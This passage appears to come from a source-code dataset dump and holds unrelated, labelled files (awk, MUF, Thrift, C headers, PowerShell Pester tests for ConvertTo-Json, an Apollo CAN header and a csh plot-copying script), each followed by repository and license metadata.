on==1 && /^[[:blank:]]*fixes:/ { skip=0 ; section=$1; printf "<details><summary>Fixes</summary>\n\n### Fixes\n" ; next}
on==1 && /^[[:blank:]]*changes:/ { skip=0 ; section=$1; printf "<details><summary>Changes</summary>\n\n### Changes\n" ; next}
on==1 && /^[[:blank:]]*additions:/ { skip=0 ; section=$1; printf "<details><summary>Additions</summary>\n\n### Additions\n" ; next}
on==1 {
if ($1 == "''") {
block = !block
next
}
if ((block || !skip)) {
printSection()
}
}
function printSingleLineSection()
{
if (NF>1 && $2 != "''" && $2 != "~") {
if (protect) gsub(/'/, "'\\''")
for (i=2; i<= NF; i++) printf "%s ", $i
print ""
}
}
function printSection()
{
if (section != "text:") sub(/[[:blank:]]+/, "")
gsub(/pr-/, "PR #")
gsub(/issue-/, "issue #")
gsub(/commit-/, "commit ")
if (protect) gsub(/'/, "'\\''")
print $0
} | Awk | 4 | Curly060/gitblit | src/site/templates/ghreleasenotes.awk | [
"Apache-2.0"
] |
( Generated from test_namespace1_in.muv by the MUV compiler. )
( https://github.com/revarbat/muv )
lvar foo::ltuaa
: foo::abc[ _a -- ret ]
foo::ltuaa @ _a @ +
;
: foo::def[ _a -- ret ]
_a @ 2 * foo::abc
;
: _main[ _arg -- ret ]
3 foo::def
;
: __start
"me" match me ! me @ location loc ! trig trigger !
42 foo::ltuaa !
_main
;
| MUF | 4 | revarbat/muv | tests/test_namespace1_cmp.muf | [
"BSD-2-Clause"
] |
struct Person {
1: string name,
2: i32 age,
}
const Person jack = {'name': 'jack', 'age': 1.8}
| Thrift | 1 | JonnoFTW/thriftpy2 | tests/parser-cases/e_type_error_2.thrift | [
"MIT"
] |
t app appmode photo
sleep 1
t ia2 -ae still_exp P X Y
sleep 1
t app button shutter PR
sleep A
d:\autoexec.ash
REBOOT yes
| AGS Script | 1 | waltersgrey/autoexechack | LongExpTimeLapse/autoexec.ash | [
"MIT"
] |
#ifndef _RANDOMDGEN__ALIGNED_MALLOC_H_
#define _RANDOMDGEN__ALIGNED_MALLOC_H_
#include <Python.h>
#include "numpy/npy_common.h"
#define NPY_MEMALIGN 16 /* 16 for SSE2, 32 for AVX, 64 for Xeon Phi */
static NPY_INLINE void *PyArray_realloc_aligned(void *p, size_t n)
{
void *p1, **p2, *base;
size_t old_offs, offs = NPY_MEMALIGN - 1 + sizeof(void *);
if (NPY_UNLIKELY(p != NULL))
{
base = *(((void **)p) - 1);
if (NPY_UNLIKELY((p1 = PyMem_Realloc(base, n + offs)) == NULL))
return NULL;
if (NPY_LIKELY(p1 == base))
return p;
p2 = (void **)(((Py_uintptr_t)(p1) + offs) & ~(NPY_MEMALIGN - 1));
old_offs = (size_t)((Py_uintptr_t)p - (Py_uintptr_t)base);
memmove((void *)p2, ((char *)p1) + old_offs, n);
}
else
{
if (NPY_UNLIKELY((p1 = PyMem_Malloc(n + offs)) == NULL))
return NULL;
p2 = (void **)(((Py_uintptr_t)(p1) + offs) & ~(NPY_MEMALIGN - 1));
}
*(p2 - 1) = p1;
return (void *)p2;
}
static NPY_INLINE void *PyArray_malloc_aligned(size_t n)
{
return PyArray_realloc_aligned(NULL, n);
}
static NPY_INLINE void *PyArray_calloc_aligned(size_t n, size_t s)
{
void *p;
if (NPY_UNLIKELY((p = PyArray_realloc_aligned(NULL, n * s)) == NULL))
return NULL;
memset(p, 0, n * s);
return p;
}
static NPY_INLINE void PyArray_free_aligned(void *p)
{
void *base = *(((void **)p) - 1);
PyMem_Free(base);
}
#endif
| C | 3 | iam-abbas/numpy | numpy/random/include/aligned_malloc.h | [
"BSD-3-Clause"
] |
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT License.
#pragma once
#include <winrt/Windows.ApplicationModel.Resources.h>
#include <string>
using namespace std::string_view_literals;
namespace AppInstaller::StringResource
{
#define WINGET_WIDE_STRINGIFY_HELP(_id_) L ## _id_
#define WINGET_WIDE_STRINGIFY(_id_) WINGET_WIDE_STRINGIFY_HELP(_id_)
#define WINGET_DEFINE_RESOURCE_STRINGID(_id_) static constexpr AppInstaller::StringResource::StringId _id_ { WINGET_WIDE_STRINGIFY(#_id_) ## sv }
// A resource identifier
struct StringId : public std::wstring_view
{
explicit constexpr StringId(std::wstring_view id) : std::wstring_view(id) {}
};
// Resource string identifiers.
struct String
{
WINGET_DEFINE_RESOURCE_STRINGID(PolicyEnableWinGet);
WINGET_DEFINE_RESOURCE_STRINGID(PolicyEnableWingetSettings);
WINGET_DEFINE_RESOURCE_STRINGID(PolicyEnableExperimentalFeatures);
WINGET_DEFINE_RESOURCE_STRINGID(PolicyEnableLocalManifests);
WINGET_DEFINE_RESOURCE_STRINGID(PolicyEnableHashOverride);
WINGET_DEFINE_RESOURCE_STRINGID(PolicyEnableDefaultSource);
WINGET_DEFINE_RESOURCE_STRINGID(PolicyEnableMSStoreSource);
WINGET_DEFINE_RESOURCE_STRINGID(PolicyAdditionalSources);
WINGET_DEFINE_RESOURCE_STRINGID(PolicyAllowedSources);
WINGET_DEFINE_RESOURCE_STRINGID(PolicySourceAutoUpdateInterval);
WINGET_DEFINE_RESOURCE_STRINGID(SettingsWarningInvalidFieldFormat);
WINGET_DEFINE_RESOURCE_STRINGID(SettingsWarningInvalidFieldValue);
WINGET_DEFINE_RESOURCE_STRINGID(SettingsWarningInvalidValueFromPolicy);
WINGET_DEFINE_RESOURCE_STRINGID(SettingsWarningLoadedBackupSettings);
WINGET_DEFINE_RESOURCE_STRINGID(SettingsWarningParseError);
};
}
| C | 4 | midoriiro/winget-cli | src/AppInstallerCommonCore/Public/winget/Resources.h | [
"MIT"
] |
let mut x = 10;
if true {
x += 1;
}
println(x);
let mut y = 10;
if y == 10 {
let y = y + 1;
}
println(y);
let mut z = 10;
if z == (5 + 5) && 45 != 9 || "hello" == "he" + "l" + "lo" {
z += 1;
}
println(z);
let mut a = 10;
if "hello" != "he" + "l" + "lo" {
a += 1;
}
println(a);
let mut b = 10;
if false {
b = b + 1;
} else {
b = b - 1;
}
println(b);
let mut c = 10;
if false {
c = c + 1;
} else {
if true {
c = 100;
} else {
c = -10;
}
}
println(c);
let mut d = 10;
if false {
d = 20;
} else if false {
d = 30;
}
println(d);
let mut e = 10;
if false {
e = 20;
} else if true {
e = 30;
} else {
e = 40;
}
println(e);
let mut f = 10;
if false {
f = 20;
} else if true && true && !false {
f = 30;
} else if true {
f = 40;
}
println(f);
let mut j = 10;
if j == 10 {
j = 20;
} else if true && true && !false {
j = 30;
}
println(j);
let mut i = 10;
if i == 11 {
i = 20;
} else if i == 12 {
i = 30;
} else {
i = 13;
}
println(i);
| Ox | 3 | 54k1/oxide-lang | tests/scripts/if.ox | [
"MIT"
] |
something less new Number with 5 | Dogescript | 3 | joeratt/dogescript | test/spec/operators/assignment/less/object/source.djs | [
"MIT"
] |
0 reg32_t "dword"
1 code_t "proc*"
2 num32_t "int"
3 uint32_t "size_t"
4 ptr(struct(0:num32_t,4:ptr(num8_t),8:ptr(num8_t),12:ptr(num8_t),16:ptr(num8_t),20:ptr(num8_t),24:ptr(num8_t),28:ptr(num8_t),32:ptr(num8_t),36:ptr(num8_t),40:ptr(num8_t),44:ptr(num8_t),48:ptr(struct(0:ptr(TOP),4:ptr(struct(0:num32_t,4:ptr(reg8_t),8:ptr(reg8_t),12:ptr(reg8_t),16:ptr(reg8_t),20:ptr(reg8_t),24:ptr(reg8_t),28:ptr(reg8_t),32:ptr(reg8_t),36:ptr(reg8_t),40:ptr(reg8_t),44:ptr(reg8_t),48:ptr(TOP),52:ptr(TOP),56:num32_t,60:num32_t,64:num32_t,68:uint16_t,70:int8_t,71:array(num8_t,1),72:ptr(TOP),76:num64_t,84:ptr(TOP),88:ptr(TOP),92:ptr(TOP),96:ptr(TOP),100:uint32_t,104:num32_t,108:array(num8_t,40))),8:num32_t)),52:ptr(struct(0:num32_t,4:ptr(num8_t),8:ptr(num8_t),12:ptr(num8_t),16:ptr(num8_t),20:ptr(num8_t),24:ptr(num8_t),28:ptr(num8_t),32:ptr(num8_t),36:ptr(num8_t),40:ptr(num8_t),44:ptr(num8_t),48:ptr(struct(0:ptr(TOP),4:ptr(TOP),8:num32_t)),52:ptr(TOP),56:num32_t,60:num32_t,64:num32_t,68:uint16_t,70:int8_t,71:array(num8_t,1),72:ptr(TOP),76:num64_t,84:ptr(TOP),88:ptr(TOP),92:ptr(TOP),96:ptr(TOP),100:uint32_t,104:num32_t,108:array(num8_t,40))),56:num32_t,60:num32_t,64:num32_t,68:uint16_t,70:int8_t,71:array(num8_t,1),72:ptr(TOP),76:num64_t,84:ptr(TOP),88:ptr(TOP),92:ptr(TOP),96:ptr(TOP),100:uint32_t,104:num32_t,108:array(num8_t,40))) "FILE*"
5 ptr(num8_t) "char*"
6 ptr(TOP) "void*"
3 uint32_t "unsigned int"
7 num8_t "char"
8 ptr(array(reg8_t,16)) "unknown_128*"
9 ptr(array(reg8_t,56)) "unknown_448*"
10 ptr(array(reg8_t,187)) "unknown_1496*"
11 ptr(array(reg8_t,58)) "unknown_464*"
12 ptr(ptr(TOP)) "void**"
13 ptr(ptr(num8_t)) "char**"
14 union(ptr(num8_t),ptr(struct(0:reg16_t,2:num8_t))) "Union_0"
15 ptr(struct(0:reg16_t,2:num8_t)) "StructFrag_0*"
16 ptr(reg32_t) "dword*"
5 ptr(num8_t) "char[]"
17 ptr(struct(0:num32_t,4:ptr(struct(0:ptr(num8_t),8:ptr(num8_t))),4294967292:reg32_t)) "Struct_8*"
18 ptr(struct(0:ptr(num8_t),8:ptr(num8_t))) "Struct_9*"
19 ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num32_t),12:num32_t)) "option*"
20 ptr(struct(0:reg32_t,40:ptr(num8_t),44:ptr(num8_t))) "Struct_5*"
21 ptr(struct(40:ptr(num8_t),44:ptr(num8_t))) "Struct_6*"
22 ptr(uint32_t) "size_t*"
23 array(reg8_t,3) "unknown_24"
24 ptr(struct(0:reg32_t,4:ptr(TOP))) "Struct_0*"
25 reg64_t "qword"
26 array(reg8_t,32) "unknown_256"
16 ptr(reg32_t) "dword[]"
27 int32_t "signed int"
22 ptr(uint32_t) "unsigned int*"
28 union(ptr(reg32_t),ptr(struct(0:reg32_t,40:ptr(num8_t),44:ptr(num8_t)))) "Union_3"
29 ptr(struct(0:reg32_t,4:reg32_t)) "StructFrag_4*"
30 array(reg8_t,24) "unknown_192"
31 ptr(num32_t) "int*"
32 array(reg8_t,60) "unknown_480"
22 ptr(uint32_t) "unsigned int[]"
33 union(ptr(reg32_t),ptr(struct(0:reg32_t,20:reg32_t,24:reg32_t,28:uint32_t))) "Union_1"
34 union(ptr(struct(0:array(reg8_t,64),64:num32_t)),ptr(uint32_t)) "Union_2"
35 ptr(ptr(uint16_t)) "unsigned short**"
36 ptr(reg16_t) "word*"
37 ptr(struct(0:array(reg8_t,16),16:uint32_t)) "StructFrag_12*"
38 ptr(code_t) "proc**"
39 ptr(uint16_t) "unsigned short*"
40 ptr(struct(0:array(reg8_t,83522),83522:reg32_t)) "StructFrag_6*"
41 ptr(struct(0:array(reg8_t,536870908),4294967292:reg32_t)) "StructFrag_7*"
17 ptr(struct(0:num32_t,4:ptr(struct(0:ptr(num8_t),8:ptr(num8_t))),4294967292:reg32_t)) "Struct_10*"
42 ptr(struct(0:array(reg8_t,33404),33404:reg32_t)) "StructFrag_8*"
43 ptr(struct(0:array(reg8_t,584),584:reg32_t)) "StructFrag_9*"
44 array(reg8_t,4096) "unknown_32768"
45 array(reg8_t,135168) "unknown_1081344"
46 array(reg8_t,30) "unknown_240"
47 array(reg8_t,5) "unknown_40"
48 array(reg8_t,25) "unknown_200"
49 array(reg8_t,16) "unknown_128"
50 array(reg8_t,41) "unknown_328"
51 array(reg8_t,7) "unknown_56"
52 array(reg8_t,51) "unknown_408"
53 array(reg8_t,13) "unknown_104"
54 array(reg8_t,27) "unknown_216"
55 array(reg8_t,54) "unknown_432"
56 reg16_t "word"
57 array(reg8_t,50) "unknown_400"
58 array(reg8_t,142) "unknown_1136"
59 array(reg8_t,53) "unknown_424"
60 array(reg8_t,55) "unknown_440"
61 array(reg8_t,23) "unknown_184"
62 array(reg8_t,323) "unknown_2584"
63 array(reg8_t,11) "unknown_88"
64 array(reg8_t,44) "unknown_352"
65 array(reg8_t,42) "unknown_336"
66 array(reg8_t,14) "unknown_112"
67 array(reg8_t,31) "unknown_248"
68 array(reg8_t,28) "unknown_224"
69 array(reg8_t,21) "unknown_168"
70 array(reg8_t,19) "unknown_152"
71 array(reg8_t,52) "unknown_416"
72 array(reg8_t,6) "unknown_48"
73 array(reg8_t,48) "unknown_384"
74 array(reg8_t,20) "unknown_160"
75 array(reg8_t,63) "unknown_504"
76 array(reg8_t,90) "unknown_720"
77 array(reg8_t,61) "unknown_488"
78 array(reg8_t,58) "unknown_464"
79 array(reg8_t,12) "unknown_96"
80 array(reg8_t,15) "unknown_120"
81 array(reg8_t,56) "unknown_448"
82 array(reg8_t,64) "unknown_512"
83 array(reg8_t,92) "unknown_736"
84 array(reg8_t,62) "unknown_496"
85 array(reg8_t,198) "unknown_1584"
86 array(reg8_t,70) "unknown_560"
87 array(reg8_t,82) "unknown_656"
88 array(reg8_t,71) "unknown_568"
89 array(reg8_t,22) "unknown_176"
90 array(reg8_t,68) "unknown_544"
91 array(reg8_t,113) "unknown_904"
92 array(reg8_t,129) "unknown_1032"
93 array(reg8_t,40) "unknown_320"
94 array(reg8_t,78) "unknown_624"
95 array(reg8_t,89) "unknown_712"
96 array(reg8_t,17) "unknown_136"
97 array(reg8_t,45) "unknown_360"
98 array(reg8_t,10) "unknown_80"
99 array(reg8_t,187) "unknown_1496"
100 array(reg8_t,9) "unknown_72"
101 array(reg8_t,26) "unknown_208"
102 array(reg8_t,115) "unknown_920"
103 array(reg8_t,47) "unknown_376"
104 array(reg8_t,43) "unknown_344"
105 array(reg8_t,88) "unknown_704"
106 array(reg8_t,35) "unknown_280"
107 array(reg8_t,86) "unknown_688"
108 array(reg8_t,79) "unknown_632"
109 array(reg8_t,359) "unknown_2872"
110 array(reg8_t,29) "unknown_232"
111 array(reg8_t,46) "unknown_368"
112 array(reg8_t,316) "unknown_2528"
113 array(reg8_t,18) "unknown_144"
114 array(reg8_t,72) "unknown_576"
115 array(reg8_t,34) "unknown_272"
116 array(reg8_t,39) "unknown_312"
117 array(reg8_t,204) "unknown_1632"
118 array(reg8_t,37) "unknown_296"
119 array(reg8_t,111) "unknown_888"
120 array(reg8_t,140) "unknown_1120"
121 array(reg8_t,65) "unknown_520"
122 array(reg8_t,5229) "unknown_41832"
123 array(reg8_t,49) "unknown_392"
124 array(reg8_t,139) "unknown_1112"
125 array(reg8_t,33) "unknown_264"
126 array(reg8_t,95) "unknown_760"
127 array(reg8_t,91) "unknown_728"
128 array(reg8_t,36) "unknown_288"
129 array(reg8_t,126) "unknown_1008"
130 array(reg8_t,59) "unknown_472"
131 array(reg8_t,190) "unknown_1520"
132 array(reg8_t,173) "unknown_1384"
133 array(reg8_t,149) "unknown_1192"
134 array(reg8_t,146) "unknown_1168"
135 array(reg8_t,94) "unknown_752"
136 array(reg8_t,57) "unknown_456"
137 array(reg8_t,97) "unknown_776"
138 array(reg8_t,69) "unknown_552"
139 array(reg8_t,38) "unknown_304"
140 array(reg8_t,102) "unknown_816"
141 array(reg8_t,98) "unknown_784"
142 array(reg8_t,100) "unknown_800"
143 array(reg8_t,77) "unknown_616"
144 array(num8_t,23) "char[23]"
145 array(num8_t,39) "char[39]"
146 array(num8_t,14) "char[14]"
147 array(num8_t,4) "char[4]"
148 array(num8_t,69) "char[69]"
149 array(num8_t,65) "char[65]"
150 struct(0:ptr(num8_t),4:num32_t,8:ptr(num32_t),12:num32_t) "option"
151 array(reg8_t,160) "unknown_1280"
152 array(num8_t,126) "char[126]"
153 array(num8_t,5) "char[5]"
154 array(num8_t,44) "char[44]"
155 array(num8_t,67) "char[67]"
156 array(num8_t,52) "char[52]"
157 array(num8_t,365) "char[365]"
158 array(num8_t,45) "char[45]"
159 array(num8_t,54) "char[54]"
160 array(num8_t,257) "char[257]"
161 array(num8_t,11) "char[11]"
162 array(num8_t,2) "char[2]"
163 array(num8_t,3) "char[3]"
164 array(num8_t,15) "char[15]"
165 array(num8_t,28) "char[28]"
166 array(num8_t,48) "char[48]"
167 array(num8_t,25) "char[25]"
168 array(num8_t,7) "char[7]"
169 array(num8_t,8) "char[8]"
170 array(num8_t,50) "char[50]"
171 array(num8_t,43) "char[43]"
172 array(num8_t,47) "char[47]"
173 array(num8_t,46) "char[46]"
174 array(num8_t,90) "char[90]"
175 array(num8_t,10) "char[10]"
176 array(num8_t,13) "char[13]"
177 array(num8_t,35) "char[35]"
178 array(num8_t,57) "char[57]"
179 array(num8_t,73) "char[73]"
180 array(num8_t,64) "char[64]"
181 array(num8_t,62) "char[62]"
182 array(num8_t,63) "char[63]"
183 array(num8_t,12) "char[12]"
184 array(num8_t,56) "char[56]"
185 array(num8_t,6) "char[6]"
186 array(reg32_t,127) "dword[127]"
187 array(reg32_t,30) "dword[30]"
188 array(reg32_t,34) "dword[34]"
189 array(num8_t,203) "char[203]"
190 array(num8_t,16) "char[16]"
191 array(num8_t,32) "char[32]"
192 array(num8_t,36) "char[36]"
193 array(num8_t,40) "char[40]"
194 array(num8_t,60) "char[60]"
195 array(num8_t,21) "char[21]"
196 array(num8_t,22) "char[22]"
197 array(num8_t,20) "char[20]"
198 array(num8_t,17) "char[17]"
199 array(num8_t,81) "char[81]"
200 array(reg8_t,916) "unknown_7328"
201 array(reg8_t,3828) "unknown_30624"
202 array(reg8_t,6228) "unknown_49824"
1 code_t "(void -?-> dword)*"
203 array(reg8_t,232) "unknown_1856"
204 array(reg8_t,256) "unknown_2048"
| BlitzBasic | 2 | matt-noonan/retypd-data | data/sha1sum.decls | [
"MIT"
] |
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
Describe 'ConvertTo-Json' -tags "CI" {
BeforeAll {
$newline = [System.Environment]::NewLine
}
It 'Newtonsoft.Json.Linq.Jproperty should be converted to Json properly' {
$EgJObject = New-Object -TypeName Newtonsoft.Json.Linq.JObject
$EgJObject.Add("TestValue1", "123456")
$EgJObject.Add("TestValue2", "78910")
$EgJObject.Add("TestValue3", "99999")
$dict = @{}
$dict.Add('JObject', $EgJObject)
$dict.Add('StrObject', 'This is a string Object')
$properties = @{'DictObject' = $dict; 'RandomString' = 'A quick brown fox jumped over the lazy dog'}
$object = New-Object -TypeName psobject -Property $properties
$jsonFormat = ConvertTo-Json -InputObject $object
$jsonFormat | Should -Match '"TestValue1": 123456'
$jsonFormat | Should -Match '"TestValue2": 78910'
$jsonFormat | Should -Match '"TestValue3": 99999'
}
It "StopProcessing should succeed" -Pending:$true {
$ps = [PowerShell]::Create()
$null = $ps.AddScript({
$obj = [PSCustomObject]@{P1 = ''; P2 = ''; P3 = ''; P4 = ''; P5 = ''; P6 = ''}
$obj.P1 = $obj.P2 = $obj.P3 = $obj.P4 = $obj.P5 = $obj.P6 = $obj
1..100 | ForEach-Object { $obj } | ConvertTo-Json -Depth 10 -Verbose
# the conversion is expected to take some time, this throw is in case it doesn't
throw "Should not have thrown exception"
})
$null = $ps.BeginInvoke()
# wait for verbose message from ConvertTo-Json to ensure cmdlet is processing
Wait-UntilTrue { $ps.Streams.Verbose.Count -gt 0 } | Should -BeTrue
$null = $ps.BeginStop($null, $null)
# wait a bit to ensure state has changed, not using synchronous Stop() to avoid blocking Pester
Start-Sleep -Milliseconds 100
$ps.InvocationStateInfo.State | Should -BeExactly "Stopped"
$ps.Dispose()
}
It "Should accept minimum depth as 0." {
$ComplexObject = [PSCustomObject] @{
FirstLevel1 = @{
Child1_1 = 0
Bool = $True
}
FirstLevel2 = @{
Child2_1 = 'Child_2_1_Value'
Child2_2 = @{
ChildOfChild2_2= @(1,2,3)
}
Float = 1.2
}
Integer = 10
Bool = $False
}
$ExpectedOutput = '{
"FirstLevel1": "System.Collections.Hashtable",
"FirstLevel2": "System.Collections.Hashtable",
"Integer": 10,
"Bool": false
}'
$output = $ComplexObject | ConvertTo-Json -Depth 0
$output | Should -Be $ExpectedOutput
}
It "The result string is packed in an array symbols when AsArray parameter is used." {
$output = 1 | ConvertTo-Json -AsArray
$output | Should -BeLike "``[*1*]"
$output = 1,2 | ConvertTo-Json -AsArray
$output | Should -BeLike "``[*1*2*]"
}
It "The result string is not packed in the array symbols when there is only one input object and AsArray parameter is not used." {
$output = 1 | ConvertTo-Json
$output | Should -BeExactly '1'
}
It "The result string should <Name>." -TestCases @(
@{name = "be not escaped by default."; params = @{}; expected = "{$newline ""abc"": ""'def'""$newline}" }
@{name = "be not escaped with '-EscapeHandling Default'."; params = @{EscapeHandling = 'Default'}; expected = "{$newline ""abc"": ""'def'""$newline}" }
@{name = "be escaped with '-EscapeHandling EscapeHtml'."; params = @{EscapeHandling = 'EscapeHtml'}; expected = "{$newline ""abc"": ""\u0027def\u0027""$newline}" }
) {
param ($name, $params ,$expected)
@{ 'abc' = "'def'" } | ConvertTo-Json @params | Should -BeExactly $expected
}
It "Should handle null" {
[pscustomobject] @{ prop=$null } | ConvertTo-Json -Compress | Should -BeExactly '{"prop":null}'
$null | ConvertTo-Json -Compress | Should -Be 'null'
ConvertTo-Json -Compress $null | Should -Be 'null'
1, $null, 2 | ConvertTo-Json -Compress | Should -Be '[1,null,2]'
}
It "Should handle 'AutomationNull.Value' and 'NullString.Value' correctly" {
[ordered]@{
a = $null;
b = [System.Management.Automation.Internal.AutomationNull]::Value;
c = [System.DBNull]::Value;
d = [NullString]::Value
} | ConvertTo-Json -Compress | Should -BeExactly '{"a":null,"b":null,"c":null,"d":null}'
ConvertTo-Json ([System.Management.Automation.Internal.AutomationNull]::Value) | Should -BeExactly 'null'
ConvertTo-Json ([NullString]::Value) | Should -BeExactly 'null'
ConvertTo-Json -Compress @(
$null,
[System.Management.Automation.Internal.AutomationNull]::Value,
[System.DBNull]::Value,
[NullString]::Value
) | Should -BeExactly '[null,null,null,null]'
}
It "Should handle the ETS properties added to 'DBNull.Value' and 'NullString.Value'" {
try
{
$p1 = Add-Member -InputObject ([System.DBNull]::Value) -MemberType NoteProperty -Name dbnull -Value 'dbnull' -PassThru
$p2 = Add-Member -InputObject ([NullString]::Value) -MemberType NoteProperty -Name nullstr -Value 'nullstr' -PassThru
$p1, $p2 | ConvertTo-Json -Compress | Should -BeExactly '[{"value":null,"dbnull":"dbnull"},{"value":null,"nullstr":"nullstr"}]'
}
finally
{
$p1.psobject.Properties.Remove('dbnull')
$p2.psobject.Properties.Remove('nullstr')
}
}
It 'Should not serialize ETS properties added to DateTime' {
$date = "2021-06-24T15:54:06.796999-07:00"
$d = [DateTime]::Parse($date)
# need to use wildcard here due to some systems may be configured with different culture setting showing time in different format
$d | ConvertTo-Json -Compress | Should -BeLike '"2021-06-24T*'
$d | ConvertTo-Json | ConvertFrom-Json | Should -Be $d
}
It 'Should not serialize ETS properties added to String' {
$text = "Hello there"
$t = Add-Member -InputObject $text -MemberType NoteProperty -Name text -Value $text -PassThru
$t | ConvertTo-Json -Compress | Should -BeExactly "`"$text`""
}
}
| PowerShell | 5 | dahlia/PowerShell | test/powershell/Modules/Microsoft.PowerShell.Utility/ConvertTo-Json.Tests.ps1 | [
"MIT"
] |
/******************************************************************************
* Copyright 2018 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#pragma once
#include "modules/canbus/proto/chassis_detail.pb.h"
#include "modules/drivers/canbus/can_comm/protocol_data.h"
namespace apollo {
namespace canbus {
namespace lexus {
class Headlightauxrpt318 : public ::apollo::drivers::canbus::ProtocolData<
::apollo::canbus::ChassisDetail> {
public:
static const int32_t ID;
Headlightauxrpt318();
void Parse(const std::uint8_t* bytes, int32_t length,
ChassisDetail* chassis) const override;
private:
// config detail: {'name': 'HEADLIGHTS_MODE_IS_VALID', 'offset': 0.0,
// 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'physical_range':
// '[0|1]', 'bit': 19, 'type': 'bool', 'order': 'motorola', 'physical_unit':
// ''}
bool headlights_mode_is_valid(const std::uint8_t* bytes,
const int32_t length) const;
// config detail: {'name': 'HEADLIGHTS_MODE', 'enum': {0:
// 'HEADLIGHTS_MODE_HEADLIGHTS_OFF', 1: 'HEADLIGHTS_MODE_PARKING_LIGHTS_ONLY',
// 2: 'HEADLIGHTS_MODE_HEADLIGHTS_ON_MANUAL_MODE', 3:
// 'HEADLIGHTS_MODE_HEADLIGHTS_ON_AUTO_MODE'}, 'precision': 1.0, 'len': 8,
// 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit':
// 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''}
Headlight_aux_rpt_318::Headlights_modeType headlights_mode(
const std::uint8_t* bytes, const int32_t length) const;
// config detail: {'name': 'FOG_LIGHTS_ON_IS_VALID', 'offset': 0.0,
// 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'physical_range':
// '[0|1]', 'bit': 18, 'type': 'bool', 'order': 'motorola', 'physical_unit':
// ''}
bool fog_lights_on_is_valid(const std::uint8_t* bytes,
const int32_t length) const;
// config detail: {'name': 'FOG_LIGHTS_ON', 'offset': 0.0, 'precision': 1.0,
// 'len': 1, 'is_signed_var': False, 'physical_range': '[0|1]', 'bit': 2,
// 'type': 'bool', 'order': 'motorola', 'physical_unit': ''}
bool fog_lights_on(const std::uint8_t* bytes, const int32_t length) const;
// config detail: {'name': 'HEADLIGHTS_ON_BRIGHT_IS_VALID', 'offset': 0.0,
// 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'physical_range':
// '[0|1]', 'bit': 17, 'type': 'bool', 'order': 'motorola', 'physical_unit':
// ''}
bool headlights_on_bright_is_valid(const std::uint8_t* bytes,
const int32_t length) const;
// config detail: {'name': 'HEADLIGHTS_ON_BRIGHT', 'offset': 0.0,
// 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'physical_range':
// '[0|1]', 'bit': 1, 'type': 'bool', 'order': 'motorola', 'physical_unit':
// ''}
bool headlights_on_bright(const std::uint8_t* bytes,
const int32_t length) const;
// config detail: {'name': 'HEADLIGHTS_ON_IS_VALID', 'offset': 0.0,
// 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'physical_range':
// '[0|1]', 'bit': 16, 'type': 'bool', 'order': 'motorola', 'physical_unit':
// ''}
bool headlights_on_is_valid(const std::uint8_t* bytes,
const int32_t length) const;
// config detail: {'name': 'HEADLIGHTS_ON', 'offset': 0.0, 'precision': 1.0,
// 'len': 1, 'is_signed_var': False, 'physical_range': '[0|1]', 'bit': 0,
// 'type': 'bool', 'order': 'motorola', 'physical_unit': ''}
bool headlights_on(const std::uint8_t* bytes, const int32_t length) const;
};
} // namespace lexus
} // namespace canbus
} // namespace apollo
| C | 4 | seeclong/apollo | modules/canbus/vehicle/lexus/protocol/headlight_aux_rpt_318.h | [
"Apache-2.0"
] |
#! /bin/csh
setenv RELEASE $CMSSW_VERSION
if ( ! -d /afs/cern.ch/cms/performance/tracker/activities/validation/$RELEASE/) mkdir /afs/cern.ch/cms/performance/tracker/activities/validation/$RELEASE/
setenv WWWDIR /afs/cern.ch/cms/performance/tracker/activities/validation/$RELEASE/SimHits
if ( ! -d $WWWDIR) mkdir $WWWDIR
mkdir $WWWDIR/eps
mkdir $WWWDIR/eps/TK-strips
mkdir $WWWDIR/eps/TK-strips/eloss
mkdir $WWWDIR/eps/TK-strips/Localx
mkdir $WWWDIR/eps/TK-strips/Localy
mkdir $WWWDIR/eps/TK-strips/Entryx-Exitx
mkdir $WWWDIR/eps/TK-strips/Entryy-Exity
mkdir $WWWDIR/eps/TK-strips/Entryz-Exitz
mkdir $WWWDIR/eps/TK-pixels
mkdir $WWWDIR/eps/TK-pixels/eloss
mkdir $WWWDIR/eps/TK-pixels/Localx
mkdir $WWWDIR/eps/TK-pixels/Localy
mkdir $WWWDIR/eps/TK-pixels/Entryx-Exitx
mkdir $WWWDIR/eps/TK-pixels/Entryy-Exity
mkdir $WWWDIR/eps/TK-pixels/Entryz-Exitz
mkdir $WWWDIR/eps/TK-summary
mkdir $WWWDIR/eps/ToF
mkdir $WWWDIR/gif
mkdir $WWWDIR/gif/TK-strips
mkdir $WWWDIR/gif/TK-strips/eloss
mkdir $WWWDIR/gif/TK-strips/Localx
mkdir $WWWDIR/gif/TK-strips/Localy
mkdir $WWWDIR/gif/TK-strips/Entryx-Exitx
mkdir $WWWDIR/gif/TK-strips/Entryy-Exity
mkdir $WWWDIR/gif/TK-strips/Entryz-Exitz
mkdir $WWWDIR/gif/TK-pixels
mkdir $WWWDIR/gif/TK-pixels/eloss
mkdir $WWWDIR/gif/TK-pixels/Localx
mkdir $WWWDIR/gif/TK-pixels/Localy
mkdir $WWWDIR/gif/TK-pixels/Entryx-Exitx
mkdir $WWWDIR/gif/TK-pixels/Entryy-Exity
mkdir $WWWDIR/gif/TK-pixels/Entryz-Exitz
mkdir $WWWDIR/gif/TK-summary
mkdir $WWWDIR/gif/ToF
echo "...Copying..."
mv plots/muon/eloss_T*_KS*.eps.gz $WWWDIR/eps/TK-strips/eloss
mv plots/muon/pos_Entryx-Exitx_T*.eps.gz $WWWDIR/eps/TK-strips/Entryx-Exitx
mv plots/muon/pos_Entryy-Exity_T*.eps.gz $WWWDIR/eps/TK-strips/Entryy-Exity
